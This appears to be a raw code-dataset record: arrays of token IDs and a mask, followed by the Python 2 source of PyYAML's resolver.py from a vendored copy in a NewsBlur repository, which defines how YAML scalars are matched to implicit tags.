[ 624, 199, 33, 4539, 13613, 367, 12999, 282, 8027, 5137, 14, 199, 199, 703, 5721, 447, 8410, 961, 365, 282, 11176, 379, 1015, 402, 5137, 63, 15047, 14, 647, 687, 18619, 6711, 14, 2043, 2779, 1159, 7437, 8298, 5420, 370, 1570, 1, 421, 199, 7692, 199, 9858, 199, 199, 6049, 506, 1202, 2839, 642, 447, 339, 2508, 5137, 447, 7251, 15, 2694, 14, 647, 339, 2508, 5137, 447, 10817, 492, 8027, 14, 13563, 465, 4488, 2126, 4488, 14, 2798, 779, 17, 12, 18, 12, 19, 467, 359, 20, 12, 21, 12, 22, 566, 339, 2508, 5137, 447, 10817, 437, 25174, 2893, 26, 10817, 1306, 492, 8027, 14, 13563, 465, 4488, 2126, 1306, 4488, 14, 2798, 779, 17, 12, 18, 12, 19, 467, 359, 20, 12, 21, 12, 22, 566, 199, 199, 1918, 1564, 365, 11922, 465, 8868, 7871, 340, 652, 965, 282, 1004, 6617, 199, 1045, 1124, 6071, 4345, 199, 199, 1918, 1124, 2798, 1040, 13613, 5171, 314, 1511, 339, 1475, 520, 791, 1548, 297, 283, 11390, 936, 267, 13327, 314, 1475, 402, 314, 1324, 339, 2387, 13, 1365, 520, 2155, 267, 7480, 370, 2929, 314, 1350, 1233, 14, 3758, 883, 506, 2896, 315, 3743, 14, 647, 199, 199, 460, 314, 1124, 1569, 1040, 13613, 1511, 1124, 4478, 4542, 1124, 3333, 4542, 1124, 2063, 4542, 199, 1040, 3467, 4542, 1124, 5743, 4542, 1124, 533, 4345, 199, 199, 5688, 1511, 199, 777, 9858, 199, 199, 1918, 5137, 13613, 965, 314, 2569, 2897, 1511, 26, 339, 5137, 63, 2613, 63, 1365, 267, 3758, 574, 367, 314, 2387, 13, 1365, 945, 339, 5137, 63, 657, 63, 600, 267, 5495, 626, 1077, 506, 7934, 2544, 1924, 5137, 14, 339, 5137, 63, 12484, 267, 3523, 2082, 12, 370, 1314, 5137, 447, 570, 1561, 787, 3847, 370, 14, 267, 334, 3917, 488, 503, 2701, 12, 570, 1561, 787, 3847, 370, 314, 4125, 16242, 2382, 267, 314, 570, 3035, 314, 13613, 365, 4959, 339, 5137, 63, 6321, 267, 3814, 6752, 370, 3550, 14, 3820, 402, 6346, 503, 3326, 447, 953, 3842, 4511, 12, 26910, 395, 4739, 12, 21214, 398, 626, 6705, 314, 570, 1475, 436, 314, 577, 2252, 14, 2104, 4811, 7447, 267, 577, 2252, 1990, 11684, 12, 27962, 4243, 787, 12414, 14, 339, 5137, 63, 1360, 63, 2384, 63, 6321, 267, 7480, 370, 2498, 6220, 370, 314, 1584, 315, 4163, 14, 199, 199, 11768, 199, 375, 199, 199, 10, 799, 4778, 491, 24026, 1072, 27, 3063, 652, 1159, 8971, 5935, 12, 1325, 652, 3955, 506, 14213, 523, 370, 1852, 3062, 7468, 5366, 13, 991, 13, 2441, 12, 503, 315, 15657, 14, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 984, 12, 747, 12, 5739, 12, 5145, 12, 1742, 12, 3598, 12, 295, 12, 13390, 12, 5190, 199, 646, 15882, 199, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 26, 272, 687, 5890, 492, 5228, 199, 2836, 26, 272, 687, 5890, 492, 5228, 199, 199, 646, 3598, 199, 5451, 14, 4050, 480, 33, 5137, 63, 15047, 859, 365, 2597, 2808, 1334, 298, 1598, 298, 16440, 14, 8008, 832, 27, 4282, 642, 2680, 1301, 14, 2798, 63, 15047, 298, 1598, 298, 578, 370, 506, 5906, 2410, 12082, 4534, 1172, 2757, 298, 1598, 298, 25323, 972, 2337, 4765, 1598, 20799, 3849, 12, 13232, 29, 18, 9, 421, 199, 20974, 199, 3, 20764, 5759, 199, 20974, 199, 199, 318, 3272, 8, 571, 304, 272, 3272, 14, 571, 275, 1145, 272, 3272, 14, 888, 275, 1145, 14, 888, 272, 3272, 14, 2190, 694, 275, 1145, 14, 2190, 694, 339, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 657, 63, 600, 297, 3260, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 2613, 63, 1365, 297, 756, 12, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 6321, 297, 788, 4524, 297, 283, 5812, 470, 14, 4524, 297, 283, 5607, 995, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 12484, 297, 488, 12, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 1360, 63, 2384, 63, 6321, 297, 715, 12, 715, 9, 339, 1145, 14, 525, 63, 15047, 360, 2798, 297, 5137, 63, 15047, 12, 715, 12, 334, 16, 12, 413, 12, 756, 395, 1993, 1011, 2798, 63, 15047, 63, 1419, 9, 199, 199, 20974, 199, 3, 5137, 447, 13613, 199, 20974, 199, 504, 18382, 14, 11531, 14, 8332, 492, 13502, 199, 504, 18382, 492, 3380, 199, 199, 318, 5137, 63, 15047, 8, 354, 12, 2368, 12, 1511, 12, 1564, 12, 5874, 12, 673, 1564, 63, 2743, 12, 1853, 63, 505, 12, 1174, 12, 1174, 63, 6744, 304, 272, 372, 1255, 8, 4958, 12, 1564, 12, 1511, 12, 1174, 63, 6744, 12, 1174, 12, 5874, 9, 199, 2798, 63, 15047, 855, 1301, 363, 275, 636, 1301, 363, 199, 199, 318, 485, 1422, 63, 4871, 8, 1273, 304, 272, 340, 440, 1680, 503, 440, 1680, 14, 1913, 837, 267, 327, 949, 1423, 1627, 12, 5534, 1202, 465, 282, 3305, 267, 372, 715, 272, 916, 1680, 14, 1913, 1252, 2325, 342, 315, 661, 889, 297, 283, 16, 297, 283, 3910, 735, 267, 372, 756, 272, 916, 1680, 14, 1913, 1252, 2325, 342, 315, 661, 5066, 297, 283, 17, 297, 283, 2052, 735, 267, 372, 715, 272, 587, 26, 267, 746, 1722, 32681, 83, 2, 5809, 5046, 7, 450, 1680, 9, 199, 199, 318, 485, 1422, 63, 908, 8, 1273, 304, 272, 372, 13502, 14, 5095, 8, 1273, 12, 661, 1548, 297, 283, 317, 681, 1333, 199, 199, 318, 485, 1422, 63, 5743, 8, 1273, 304, 272, 372, 13502, 14, 5095, 8, 1273, 12, 1689, 2119, 401, 298, 14885, 401, 298, 8305, 401, 298, 3039, 401, 298, 4218, 401, 3521, 298, 1019, 2237, 199, 199, 2798, 63, 15047, 63, 1419, 275, 791, 4478, 356, 13502, 14, 16914, 12, 2079, 283, 3333, 356, 13502, 14, 1267, 63, 269, 63, 3248, 2003, 12, 2079, 283, 2063, 356, 13502, 14, 1267, 63, 269, 63, 14200, 63, 269, 63, 3248, 2003, 12, 2079, 283, 3467, 356, 13502, 14, 2865, 7371, 63, 442, 12, 2079, 283, 5743, 356 ]
[ 199, 33, 4539, 13613, 367, 12999, 282, 8027, 5137, 14, 199, 199, 703, 5721, 447, 8410, 961, 365, 282, 11176, 379, 1015, 402, 5137, 63, 15047, 14, 647, 687, 18619, 6711, 14, 2043, 2779, 1159, 7437, 8298, 5420, 370, 1570, 1, 421, 199, 7692, 199, 9858, 199, 199, 6049, 506, 1202, 2839, 642, 447, 339, 2508, 5137, 447, 7251, 15, 2694, 14, 647, 339, 2508, 5137, 447, 10817, 492, 8027, 14, 13563, 465, 4488, 2126, 4488, 14, 2798, 779, 17, 12, 18, 12, 19, 467, 359, 20, 12, 21, 12, 22, 566, 339, 2508, 5137, 447, 10817, 437, 25174, 2893, 26, 10817, 1306, 492, 8027, 14, 13563, 465, 4488, 2126, 1306, 4488, 14, 2798, 779, 17, 12, 18, 12, 19, 467, 359, 20, 12, 21, 12, 22, 566, 199, 199, 1918, 1564, 365, 11922, 465, 8868, 7871, 340, 652, 965, 282, 1004, 6617, 199, 1045, 1124, 6071, 4345, 199, 199, 1918, 1124, 2798, 1040, 13613, 5171, 314, 1511, 339, 1475, 520, 791, 1548, 297, 283, 11390, 936, 267, 13327, 314, 1475, 402, 314, 1324, 339, 2387, 13, 1365, 520, 2155, 267, 7480, 370, 2929, 314, 1350, 1233, 14, 3758, 883, 506, 2896, 315, 3743, 14, 647, 199, 199, 460, 314, 1124, 1569, 1040, 13613, 1511, 1124, 4478, 4542, 1124, 3333, 4542, 1124, 2063, 4542, 199, 1040, 3467, 4542, 1124, 5743, 4542, 1124, 533, 4345, 199, 199, 5688, 1511, 199, 777, 9858, 199, 199, 1918, 5137, 13613, 965, 314, 2569, 2897, 1511, 26, 339, 5137, 63, 2613, 63, 1365, 267, 3758, 574, 367, 314, 2387, 13, 1365, 945, 339, 5137, 63, 657, 63, 600, 267, 5495, 626, 1077, 506, 7934, 2544, 1924, 5137, 14, 339, 5137, 63, 12484, 267, 3523, 2082, 12, 370, 1314, 5137, 447, 570, 1561, 787, 3847, 370, 14, 267, 334, 3917, 488, 503, 2701, 12, 570, 1561, 787, 3847, 370, 314, 4125, 16242, 2382, 267, 314, 570, 3035, 314, 13613, 365, 4959, 339, 5137, 63, 6321, 267, 3814, 6752, 370, 3550, 14, 3820, 402, 6346, 503, 3326, 447, 953, 3842, 4511, 12, 26910, 395, 4739, 12, 21214, 398, 626, 6705, 314, 570, 1475, 436, 314, 577, 2252, 14, 2104, 4811, 7447, 267, 577, 2252, 1990, 11684, 12, 27962, 4243, 787, 12414, 14, 339, 5137, 63, 1360, 63, 2384, 63, 6321, 267, 7480, 370, 2498, 6220, 370, 314, 1584, 315, 4163, 14, 199, 199, 11768, 199, 375, 199, 199, 10, 799, 4778, 491, 24026, 1072, 27, 3063, 652, 1159, 8971, 5935, 12, 1325, 652, 3955, 506, 14213, 523, 370, 1852, 3062, 7468, 5366, 13, 991, 13, 2441, 12, 503, 315, 15657, 14, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 984, 12, 747, 12, 5739, 12, 5145, 12, 1742, 12, 3598, 12, 295, 12, 13390, 12, 5190, 199, 646, 15882, 199, 199, 692, 984, 14, 1023, 63, 815, 59, 16, 61, 2356, 650, 26, 272, 687, 5890, 492, 5228, 199, 2836, 26, 272, 687, 5890, 492, 5228, 199, 199, 646, 3598, 199, 5451, 14, 4050, 480, 33, 5137, 63, 15047, 859, 365, 2597, 2808, 1334, 298, 1598, 298, 16440, 14, 8008, 832, 27, 4282, 642, 2680, 1301, 14, 2798, 63, 15047, 298, 1598, 298, 578, 370, 506, 5906, 2410, 12082, 4534, 1172, 2757, 298, 1598, 298, 25323, 972, 2337, 4765, 1598, 20799, 3849, 12, 13232, 29, 18, 9, 421, 199, 20974, 199, 3, 20764, 5759, 199, 20974, 199, 199, 318, 3272, 8, 571, 304, 272, 3272, 14, 571, 275, 1145, 272, 3272, 14, 888, 275, 1145, 14, 888, 272, 3272, 14, 2190, 694, 275, 1145, 14, 2190, 694, 339, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 657, 63, 600, 297, 3260, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 2613, 63, 1365, 297, 756, 12, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 6321, 297, 788, 4524, 297, 283, 5812, 470, 14, 4524, 297, 283, 5607, 995, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 12484, 297, 488, 12, 715, 9, 272, 1145, 14, 525, 63, 888, 63, 585, 360, 2798, 63, 1360, 63, 2384, 63, 6321, 297, 715, 12, 715, 9, 339, 1145, 14, 525, 63, 15047, 360, 2798, 297, 5137, 63, 15047, 12, 715, 12, 334, 16, 12, 413, 12, 756, 395, 1993, 1011, 2798, 63, 15047, 63, 1419, 9, 199, 199, 20974, 199, 3, 5137, 447, 13613, 199, 20974, 199, 504, 18382, 14, 11531, 14, 8332, 492, 13502, 199, 504, 18382, 492, 3380, 199, 199, 318, 5137, 63, 15047, 8, 354, 12, 2368, 12, 1511, 12, 1564, 12, 5874, 12, 673, 1564, 63, 2743, 12, 1853, 63, 505, 12, 1174, 12, 1174, 63, 6744, 304, 272, 372, 1255, 8, 4958, 12, 1564, 12, 1511, 12, 1174, 63, 6744, 12, 1174, 12, 5874, 9, 199, 2798, 63, 15047, 855, 1301, 363, 275, 636, 1301, 363, 199, 199, 318, 485, 1422, 63, 4871, 8, 1273, 304, 272, 340, 440, 1680, 503, 440, 1680, 14, 1913, 837, 267, 327, 949, 1423, 1627, 12, 5534, 1202, 465, 282, 3305, 267, 372, 715, 272, 916, 1680, 14, 1913, 1252, 2325, 342, 315, 661, 889, 297, 283, 16, 297, 283, 3910, 735, 267, 372, 756, 272, 916, 1680, 14, 1913, 1252, 2325, 342, 315, 661, 5066, 297, 283, 17, 297, 283, 2052, 735, 267, 372, 715, 272, 587, 26, 267, 746, 1722, 32681, 83, 2, 5809, 5046, 7, 450, 1680, 9, 199, 199, 318, 485, 1422, 63, 908, 8, 1273, 304, 272, 372, 13502, 14, 5095, 8, 1273, 12, 661, 1548, 297, 283, 317, 681, 1333, 199, 199, 318, 485, 1422, 63, 5743, 8, 1273, 304, 272, 372, 13502, 14, 5095, 8, 1273, 12, 1689, 2119, 401, 298, 14885, 401, 298, 8305, 401, 298, 3039, 401, 298, 4218, 401, 3521, 298, 1019, 2237, 199, 199, 2798, 63, 15047, 63, 1419, 275, 791, 4478, 356, 13502, 14, 16914, 12, 2079, 283, 3333, 356, 13502, 14, 1267, 63, 269, 63, 3248, 2003, 12, 2079, 283, 2063, 356, 13502, 14, 1267, 63, 269, 63, 14200, 63, 269, 63, 3248, 2003, 12, 2079, 283, 3467, 356, 13502, 14, 2865, 7371, 63, 442, 12, 2079, 283, 5743, 356, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nriley/NewsBlur
vendor/yaml/resolver.py
474
8972
__all__ = ['BaseResolver', 'Resolver'] from error import * from nodes import * import re class ResolverError(YAMLError): pass class BaseResolver(object): DEFAULT_SCALAR_TAG = u'tag:yaml.org,2002:str' DEFAULT_SEQUENCE_TAG = u'tag:yaml.org,2002:seq' DEFAULT_MAPPING_TAG = u'tag:yaml.org,2002:map' yaml_implicit_resolvers = {} yaml_path_resolvers = {} def __init__(self): self.resolver_exact_paths = [] self.resolver_prefix_paths = [] def add_implicit_resolver(cls, tag, regexp, first): if not 'yaml_implicit_resolvers' in cls.__dict__: cls.yaml_implicit_resolvers = cls.yaml_implicit_resolvers.copy() if first is None: first = [None] for ch in first: cls.yaml_implicit_resolvers.setdefault(ch, []).append((tag, regexp)) add_implicit_resolver = classmethod(add_implicit_resolver) def add_path_resolver(cls, tag, path, kind=None): # Note: `add_path_resolver` is experimental. The API could be changed. # `new_path` is a pattern that is matched against the path from the # root to the node that is being considered. `node_path` elements are # tuples `(node_check, index_check)`. `node_check` is a node class: # `ScalarNode`, `SequenceNode`, `MappingNode` or `None`. `None` # matches any kind of a node. `index_check` could be `None`, a boolean # value, a string value, or a number. `None` and `False` match against # any _value_ of sequence and mapping nodes. `True` matches against # any _key_ of a mapping node. A string `index_check` matches against # a mapping value that corresponds to a scalar key which content is # equal to the `index_check` value. An integer `index_check` matches # against a sequence value with the index equal to `index_check`. if not 'yaml_path_resolvers' in cls.__dict__: cls.yaml_path_resolvers = cls.yaml_path_resolvers.copy() new_path = [] for element in path: if isinstance(element, (list, tuple)): if len(element) == 2: node_check, index_check = element elif len(element) == 1: node_check = element[0] index_check = True else: raise ResolverError("Invalid path element: %s" % element) else: node_check = None index_check = element if node_check is str: node_check = ScalarNode elif node_check is list: node_check = SequenceNode elif node_check is dict: node_check = MappingNode elif node_check not in [ScalarNode, SequenceNode, MappingNode] \ and not isinstance(node_check, basestring) \ and node_check is not None: raise ResolverError("Invalid node checker: %s" % node_check) if not isinstance(index_check, (basestring, int)) \ and index_check is not None: raise ResolverError("Invalid index checker: %s" % index_check) new_path.append((node_check, index_check)) if kind is str: kind = ScalarNode elif kind is list: kind = SequenceNode elif kind is dict: kind = MappingNode elif kind not in [ScalarNode, SequenceNode, MappingNode] \ and kind is not None: raise ResolverError("Invalid node kind: %s" % kind) cls.yaml_path_resolvers[tuple(new_path), kind] = tag add_path_resolver = classmethod(add_path_resolver) def descend_resolver(self, current_node, current_index): if not self.yaml_path_resolvers: return exact_paths = {} prefix_paths = [] if current_node: depth = len(self.resolver_prefix_paths) for path, kind in self.resolver_prefix_paths[-1]: if self.check_resolver_prefix(depth, path, kind, current_node, current_index): if len(path) > depth: prefix_paths.append((path, kind)) else: exact_paths[kind] = self.yaml_path_resolvers[path, kind] else: for path, kind in self.yaml_path_resolvers: if not path: exact_paths[kind] = self.yaml_path_resolvers[path, kind] else: prefix_paths.append((path, kind)) self.resolver_exact_paths.append(exact_paths) self.resolver_prefix_paths.append(prefix_paths) def ascend_resolver(self): if not self.yaml_path_resolvers: return self.resolver_exact_paths.pop() self.resolver_prefix_paths.pop() def check_resolver_prefix(self, depth, path, kind, current_node, current_index): node_check, index_check = path[depth-1] if isinstance(node_check, basestring): if current_node.tag != node_check: return elif node_check is not None: if not isinstance(current_node, node_check): return if index_check is True and current_index is not None: return if (index_check is False or index_check is None) \ and current_index is None: return if isinstance(index_check, basestring): if not (isinstance(current_index, ScalarNode) and index_check == current_index.value): return elif isinstance(index_check, int) and not isinstance(index_check, bool): if index_check != current_index: return return True def resolve(self, kind, value, implicit): if kind is ScalarNode and implicit[0]: if value == u'': resolvers = self.yaml_implicit_resolvers.get(u'', []) else: resolvers = self.yaml_implicit_resolvers.get(value[0], []) resolvers += self.yaml_implicit_resolvers.get(None, []) for tag, regexp in resolvers: if regexp.match(value): return tag implicit = implicit[1] if self.yaml_path_resolvers: exact_paths = self.resolver_exact_paths[-1] if kind in exact_paths: return exact_paths[kind] if None in exact_paths: return exact_paths[None] if kind is ScalarNode: return self.DEFAULT_SCALAR_TAG elif kind is SequenceNode: return self.DEFAULT_SEQUENCE_TAG elif kind is MappingNode: return self.DEFAULT_MAPPING_TAG class Resolver(BaseResolver): pass Resolver.add_implicit_resolver( u'tag:yaml.org,2002:bool', re.compile(ur'''^(?:yes|Yes|YES|no|No|NO |true|True|TRUE|false|False|FALSE |on|On|ON|off|Off|OFF)$''', re.X), list(u'yYnNtTfFoO')) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:float', re.compile(ur'''^(?:[-+]?(?:[0-9][0-9_]*)\.[0-9_]*(?:[eE][-+][0-9]+)? |\.[0-9_]+(?:[eE][-+][0-9]+)? |[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\.[0-9_]* |[-+]?\.(?:inf|Inf|INF) |\.(?:nan|NaN|NAN))$''', re.X), list(u'-+0123456789.')) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:int', re.compile(ur'''^(?:[-+]?0b[0-1_]+ |[-+]?0[0-7_]+ |[-+]?(?:0|[1-9][0-9_]*) |[-+]?0x[0-9a-fA-F_]+ |[-+]?[1-9][0-9_]*(?::[0-5]?[0-9])+)$''', re.X), list(u'-+0123456789')) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:merge', re.compile(ur'^(?:<<)$'), [u'<']) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:null', re.compile(ur'''^(?: ~ |null|Null|NULL | )$''', re.X), [u'~', u'n', u'N', u'']) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:timestamp', re.compile(ur'''^(?:[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] |[0-9][0-9][0-9][0-9] -[0-9][0-9]? -[0-9][0-9]? (?:[Tt]|[ \t]+)[0-9][0-9]? :[0-9][0-9] :[0-9][0-9] (?:\.[0-9]*)? (?:[ \t]*(?:Z|[-+][0-9][0-9]?(?::[0-9][0-9])?))?)$''', re.X), list(u'0123456789')) Resolver.add_implicit_resolver( u'tag:yaml.org,2002:value', re.compile(ur'^(?:=)$'), [u'=']) # The following resolver is only for documentation purposes. It cannot work # because plain scalars cannot start with '!', '&', or '*'. Resolver.add_implicit_resolver( u'tag:yaml.org,2002:yaml', re.compile(ur'^(?:!|&|\*)$'), list(u'!&*'))
mit
[ 199, 363, 452, 363, 275, 788, 1563, 12407, 297, 283, 12407, 418, 199, 199, 504, 1125, 492, 627, 199, 504, 3380, 492, 627, 199, 199, 646, 295, 199, 199, 533, 26046, 547, 8, 23103, 547, 304, 272, 986, 199, 199, 533, 3523, 12407, 8, 785, 304, 339, 6186, 63, 17209, 689, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 495, 7, 272, 6186, 63, 16585, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 3610, 7, 272, 6186, 63, 20351, 63, 6967, 275, 399, 1133, 643, 26, 5963, 14, 1308, 12, 15135, 26, 1130, 7, 339, 8864, 63, 11886, 63, 12640, 275, 1052, 272, 8864, 63, 515, 63, 12640, 275, 1052, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 7717, 63, 7327, 63, 3771, 275, 942, 267, 291, 14, 7717, 63, 1861, 63, 3771, 275, 942, 339, 347, 1050, 63, 11886, 63, 7717, 8, 1886, 12, 1947, 12, 13156, 12, 1642, 304, 267, 340, 440, 283, 5963, 63, 11886, 63, 12640, 7, 315, 843, 855, 807, 10651, 288, 843, 14, 5963, 63, 11886, 63, 12640, 275, 843, 14, 5963, 63, 11886, 63, 12640, 14, 1574, 342, 267, 340, 1642, 365, 488, 26, 288, 1642, 275, 359, 403, 61, 267, 367, 682, 315, 1642, 26, 288, 843, 14, 5963, 63, 11886, 63, 12640, 14, 5486, 8, 335, 12, 15364, 740, 1332, 1450, 12, 13156, 430, 272, 1050, 63, 11886, 63, 7717, 275, 18990, 8, 525, 63, 11886, 63, 7717, 9, 339, 347, 1050, 63, 515, 63, 7717, 8, 1886, 12, 1947, 12, 931, 12, 4928, 29, 403, 304, 267, 327, 3390, 26, 658, 525, 63, 515, 63, 7717, 64, 365, 22820, 14, 221, 710, 3261, 4293, 506, 2896, 14, 267, 327, 658, 1222, 63, 515, 64, 365, 282, 3851, 626, 365, 7838, 6169, 314, 931, 687, 314, 267, 327, 1738, 370, 314, 1031, 626, 365, 3769, 8652, 14, 221, 658, 932, 63, 515, 64, 4008, 787, 267, 327, 6346, 16918, 932, 63, 1074, 12, 1478, 63, 1074, 20414, 221, 658, 932, 63, 1074, 64, 365, 282, 1031, 1021, 26, 267, 327, 658, 13090, 1716, 3559, 658, 5826, 1716, 3559, 658, 7674, 1716, 64, 503, 658, 403, 2313, 221, 658, 403, 64, 267, 327, 4450, 1263, 4928, 402, 282, 1031, 14, 221, 658, 1080, 63, 1074, 64, 4293, 506, 658, 403, 3559, 282, 5046, 267, 327, 574, 12, 282, 1059, 574, 12, 503, 282, 1329, 14, 221, 658, 403, 64, 436, 658, 797, 64, 1336, 6169, 267, 327, 1263, 485, 585, 63, 402, 3414, 436, 4412, 3380, 14, 221, 658, 549, 64, 4450, 6169, 267, 327, 1263, 485, 498, 63, 402, 282, 4412, 1031, 14, 221, 437, 1059, 658, 1080, 63, 1074, 64, 4450, 6169, 267, 327, 282, 4412, 574, 626, 13718, 370, 282, 6917, 790, 1314, 1564, 365, 267, 327, 4472, 370, 314, 658, 1080, 63, 1074, 64, 574, 14, 221, 1626, 3000, 658, 1080, 63, 1074, 64, 4450, 267, 327, 6169, 282, 3414, 574, 543, 314, 1478, 4472, 370, 658, 1080, 63, 1074, 2313, 267, 340, 440, 283, 5963, 63, 515, 63, 12640, 7, 315, 843, 855, 807, 10651, 288, 843, 14, 5963, 63, 515, 63, 12640, 275, 843, 14, 5963, 63, 515, 63, 12640, 14, 1574, 342, 267, 892, 63, 515, 275, 942, 267, 367, 1819, 315, 931, 26, 288, 340, 1228, 8, 2108, 12, 334, 513, 12, 2008, 2298, 355, 340, 822, 8, 2108, 9, 508, 499, 26, 490, 1031, 63, 1074, 12, 1478, 63, 1074, 275, 1819, 355, 916, 822, 8, 2108, 9, 508, 413, 26, 490, 1031, 63, 1074, 275, 1819, 59, 16, 61, 490, 1478, 63, 1074, 275, 715, 355, 587, 26, 490, 746, 26046, 547, 480, 3364, 931, 1819, 26, 450, 83, 2, 450, 1819, 9, 288, 587, 26, 355, 1031, 63, 1074, 275, 488, 355, 1478, 63, 1074, 275, 1819, 288, 340, 1031, 63, 1074, 365, 620, 26, 355, 1031, 63, 1074, 275, 24289, 1716, 288, 916, 1031, 63, 1074, 365, 769, 26, 355, 1031, 63, 1074, 275, 10975, 1716, 288, 916, 1031, 63, 1074, 365, 1211, 26, 355, 1031, 63, 1074, 275, 12340, 1716, 288, 916, 1031, 63, 1074, 440, 315, 359, 13090, 1716, 12, 10975, 1716, 12, 12340, 1716, 61, 221, 971, 490, 436, 440, 1228, 8, 932, 63, 1074, 12, 7116, 9, 221, 971, 490, 436, 1031, 63, 1074, 365, 440, 488, 26, 355, 746, 26046, 547, 480, 3364, 1031, 7739, 26, 450, 83, 2, 450, 1031, 63, 1074, 9, 288, 340, 440, 1228, 8, 1080, 63, 1074, 12, 334, 17628, 12, 1109, 430, 257, 971, 490, 436, 1478, 63, 1074, 365, 440, 488, 26, 355, 746, 26046, 547, 480, 3364, 1478, 7739, 26, 450, 83, 2, 450, 1478, 63, 1074, 9, 288, 892, 63, 515, 14, 740, 1332, 932, 63, 1074, 12, 1478, 63, 1074, 430, 267, 340, 4928, 365, 620, 26, 288, 4928, 275, 24289, 1716, 267, 916, 4928, 365, 769, 26, 288, 4928, 275, 10975, 1716, 267, 916, 4928, 365, 1211, 26, 288, 4928, 275, 12340, 1716, 267, 916, 4928, 440, 315, 359, 13090, 1716, 12, 10975, 1716, 12, 12340, 1716, 61, 259, 971, 355, 436, 4928, 365, 440, 488, 26, 288, 746, 26046, 547, 480, 3364, 1031, 4928, 26, 450, 83, 2, 450, 4928, 9, 267, 843, 14, 5963, 63, 515, 63, 12640, 59, 2960, 8, 1222, 63, 515, 395, 4928, 61, 275, 1947, 272, 1050, 63, 515, 63, 7717, 275, 18990, 8, 525, 63, 515, 63, 7717, 9, 339, 347, 16336, 63, 7717, 8, 277, 12, 1453, 63, 932, 12, 1453, 63, 1080, 304, 267, 340, 440, 291, 14, 5963, 63, 515, 63, 12640, 26, 288, 372, 267, 5835, 63, 3771, 275, 1052, 267, 2403, 63, 3771, 275, 942, 267, 340, 1453, 63, 932, 26, 288, 5818, 275, 822, 8, 277, 14, 7717, 63, 1861, 63, 3771, 9, 288, 367, 931, 12, 4928, 315, 291, 14, 7717, 63, 1861, 63, 3771, 1988, 17, 2189, 355, 340, 291, 14, 1074, 63, 7717, 63, 1861, 8, 4631, 12, 931, 12, 4928, 12, 717, 1453, 63, 932, 12, 1453, 63, 1080, 304, 490, 340, 822, 8, 515, 9, 690, 5818, 26, 717, 2403, 63, 3771, 14, 740, 1332, 515, 12, 4928 ]
